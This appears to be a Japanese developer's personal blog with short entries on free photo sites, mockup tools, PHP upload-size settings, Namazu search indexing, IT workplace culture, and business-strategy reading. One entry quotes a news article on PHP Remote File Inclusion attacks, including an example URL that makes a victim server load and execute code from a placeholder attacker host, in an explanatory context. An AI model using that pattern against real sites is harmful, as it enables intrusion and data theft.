無料素材サイト及びにモックアップ制作ツール
デザインで使えそうな無料素材サイト特集
お金をかけずに質の高い写真画像を使いたい! そんな願いをかなえてくれる無料の写真素材サイトが最近、増えている。今回は配布点数が多く、日本語で安心して使える国内の素材サイトを5つ紹介しよう。
http://ascii.jp/elem/000/000/170/170162/
いろいろと使えそうだからメモしておこう。
あと、サイト制作に当たってのモックアップ作りにどのツールを使うかを今考察中。
現状はパワーポイントをメインで使用しているが、どうも使いにくい。
HTMLで組んじゃえって話にもなるが、PCサイトとかだとちょっと面倒だったりする。
最近FirefoxでPencilっているプラグインが出ていて、コレを使うと割と楽にモックアップが作れる。
http://www.evolus.vn/Pencil/Home.html
WEBサイトのプランニングをやる際にいろいろと使えそうなツールを活用しなければ・・・
PHPのupload_max_file_sizeとpost_max_sizeはini_setで変更できない
実は最近まで気づかなかった・・・orz
phpでアップロードファイルサイズの許容量を5Mにしたかったのと、10M以上のファイルがアップロードされたら警告を出したかったので下記のようなコードを書いてみた。
php version 5.1.6
ini_set('upload_max_file_size','5M'); ini_set('post_max_size,'20M'); ini_set('memory_limit','32M'); echo ini_get('upload_max_file_size'); echo ini_get('post_max_size'); echo ini_get('memory_limit');
デフォルト状態での各設定値は下記の通り。
upload_max_file_size -- 2M
post_max_size -- 8M
memory_limit -- 8M
結果を見ると、こんな感じ。
2M 8M 32M
変更されてないと思って調べてみたら、まず upload_max_file_size と post_max_size はini_setで変えられない事が判明した。
http://cai.cs.shinshu-u.ac.jp/sugsi/Lecture/php/manual/function.ini-set.html
そしたらこうなるのも当然か・・・
ここを httpd.confかphp.iniで変えた後に、Linux & apache環境の場合はさらに下記のファイルの設定も変える必要がある。
SetOutputFilter PHP
SetInputFilter PHP
LimitRequestBody 524288
これでPHPでも大きなファイルをアップロードすることができるようになるっぽい。
動的ページをNamazuに読ませる
今ちょっと業務で思考中なので、覚え書きとして残す。
■概要
静的ページと動的ページで形成されているWEBサイトで全文検索を行いたい。
動的ページのデータはMYSQLに保存し、PHPによってブラウザ出力される。
費用との兼ね合いで、フリーの全文検索エンジンを使いたい。
ページ数はおそらく動的ページ込みで 500〜1000前後
インデックス構築は一日一回程度を目安に行う。
■解決法1
動的ページを全て静的ページに書き出した後にNamazuに食わせる。
>Namazuに食わす為だけに静的ページを出力させるのはちょっとなぁ・・
■解決法2
Namazuのインデックス構築の前に「wget」でコンテンツを取得してからNamazuに食わせる。
>こんな方法もあるな。ちょっとパフォーマンスが怖いけど。
■解決法3
クロール機能付きの他の前文検索エンジンを探す。
>実績とか考えるとちょっと。Googleのサイト内検索も微妙だし。。
やっぱり2かな〜。
ちょっと考察して、やったらまたアップしよう。
泥のように働けますか
ちょっと古い記事だけど、前から気になっていたらからいまさらながら掘り起こしてみる。
西垣氏は伊藤忠商事の取締役会長丹羽宇一郎氏の「入社して最初の10年は泥のように働いてもらい、次の10年は徹底的に勉強してもらう」という言葉を引用し、「仕事をするときには時間軸を考えてほしい。プログラマからエンジニア、プロジェクトマネージャになっていく中で、仕事というのは少しずつ見えてくるものだ」と説明。これを受けて、田口氏が学生に「10年は泥のように働けます、という人は」と挙手を求めたところ、手を挙げた学生は1人もいなかった。
http://www.atmarkit.co.jp/news/200805/28/ipa.html
この発言、いろいろな所に波紋を与えているみたい。
学生からの質疑では、「学部卒でもどんどん採用しているが、本当はソフトウェア産業は専門職だと思う。その点はどう思うか」という質問に対し、「修士を経た専門家は年に1000人くらいだろう。彼らは本当に有名な企業に行ってしまう。これだけでは人が足りない」(有賀氏)と苦笑い。また、「本当に優秀な人は1人で何人分もの生産性を上げるのに、入社採用時はみんな一律のことが多い」という学生の不満には、「本当に自分が売れると思う人は、そういう個々人のスキルが最大限に生かせる企業に行くといい」(有賀氏)と断言。大きなシステムの構築などの仕事では、個々人の突出したスキルではなく、チームワークが重要だと主張した。
1万人年とかの超大型プロジェクトだったらソフトウェア工学を駆使して個々のスキルを可能な限り冗長化してプロジェクトを進行していくのがいいのかもしれないけどねぇ・・
そもそも、言い方が悪いかもしれない。
そういった発言はもうちょっとオブラートに包んでやさしく発言してあげないとダメだと思う。
たとえ真理をついていていたとしても、もうちょっとスマートにいかないと。
こういう研究結果も考慮しないとダメだと思うし。
脳は自分を「できるヤツ」だと思い込む──そんなデータがある。
かつて米カリフォルニア工科大学の下條信輔先生が、日本に紹介した米国での調査結果だ。データによると、高校生の70%が「自分の指導力は同級生たちに比べて平均以上にある」と考えているという。一方、平均以下と自己評価した人は、わずか2%であったそうだ。
http://business.nikkeibp.co.jp/article/nba/20080514/156615/
やっぱり挑戦的な発言だと受け止められちゃうよなぁ。
PHPに対してRFI攻撃ですって
毎分1.5件で攻撃されているらしい。
確認されているだけでも攻撃が毎分1.5件,PHPアプリ狙う攻撃が大量無差別型に
攻撃者はあらかじめ攻撃用のサーバー「attack.example.net」に悪質なコードを記述したファイル「evil.txt」を配置しておく。そして,以下の様なURLを指定して標的とするサーバー「victim.example.com」にアクセスする。http://victim.example.com/index.php?file=http://attack.example.net/evil.txt
(index.phpに記述されているWebアプリケーションがfileという変数で指定されたファイルを読み込む例)この例では,標的サーバー「victim.example.com」でWebアプリケーション「index.php」が呼び出される際に,攻撃用サーバー「attack.example.net」上のファイル「evil.txt」を読み込ませ,evil.txtに記述したコードを実行させる。このevil.txtに記述するコードの内容を変えることで,攻撃者は情報の窃取やWebページの改ざん,バックドアの設置,スパム・メールの送信など様々な攻撃を仕掛ける。
http://itpro.nikkeibp.co.jp/article/COLUMN/20081016/317141/
なるほど〜。SQLインジェクションといい、この件といいPHPで作られたアプリケーションはどうしてこう脆弱性が報告されてしまうのだろうか。
攻撃の内容を見るからに、普通に仕事としてWEBアプリを作っていたらまず遭遇しないような脆弱性だと思うんだけどな〜。
セキュリティとかは納品時になかなか目につかない部分でもあるけど、そういう部分をきっちりやらないと建築でいう耐震偽装問題みたいになると思う。
「競争の戦略」を読んで
最近ディレクションやプランニングについて考える機会が増えてきて、ちょっと本格的にマーケティング等について学ばないといけないと思ってきた。
書店に行っていろいろ見てみたけど、「正しいWEBディレクションのやり方」みたいな本は確かに読みやすいけど当たり前のことをわかりやすく書いてあるだけのような気がして、買ってまで読もうとは思わなかった。
色々考えてみて、結局のところ経営戦略について学べば「なぜこの商品を押し出したいのか」「どのような戦略を立てていけばいいのか」等について、根本から学べるのではないかと思いこの本を買ってみた。
- ジャンル: 本・雑誌・コミック > ビジネス・経済・就職 > 経営 > 経営戦略・管理
- ショップ: 楽天ブックス
- 価格: 6,081円
これを理解すれば、業界の収益率を決定付ける競争要因が下記の5つからなることが分かる。
・買い手の競争力
・新規参入の脅威
・売り手の交渉力
・代替製品・サービスの脅威
・業者間の敵対関係
その上で競争の戦略として位置づけられる方法は3つあり、そのうちのどれかに絞っていくことがよいとされている。
・コストのリーダーシップ
・差別化
・集中
実務だけでは座学は学べないし、座学だけでは実務はこなせないと思うけど、座学を知っているからいないかによって実務に差が出てくるのは間違いないと思う。
何でもやろうとしちゃ駄目かもしれない
仕事は広く深くいろいろと手を出してみたくなるものかもしれない。
でも、やりたいことがいろいろあっても結局は一つに特化したほうが上手くいく場合が多いのかもしれない。
例えば、プログラムもデザインも両方出来る人がいたとする。
その人はプログラムで時間単価2万円を生み出すことが出来るが、デザインでは時間単価1万円しか生み出すことが出来ない。
そういった場合その人はデザインで時間単価5千円しか生み出さない自分より劣っているデザイナーにデザインを全て外注して、自分はプログラムに集中したほうが得をすることになる。
まさにD・リカードが提唱した比較優位の原理ってやつだ。
この原理は国家の貿易単位でなく、企業単位、個人単位にも適応される法則だと思う。
いろいろと手を出すのではなく、自分がプロとして最もパフォーマンスを発揮できる分野に全神経を集中させることの方が重要かも。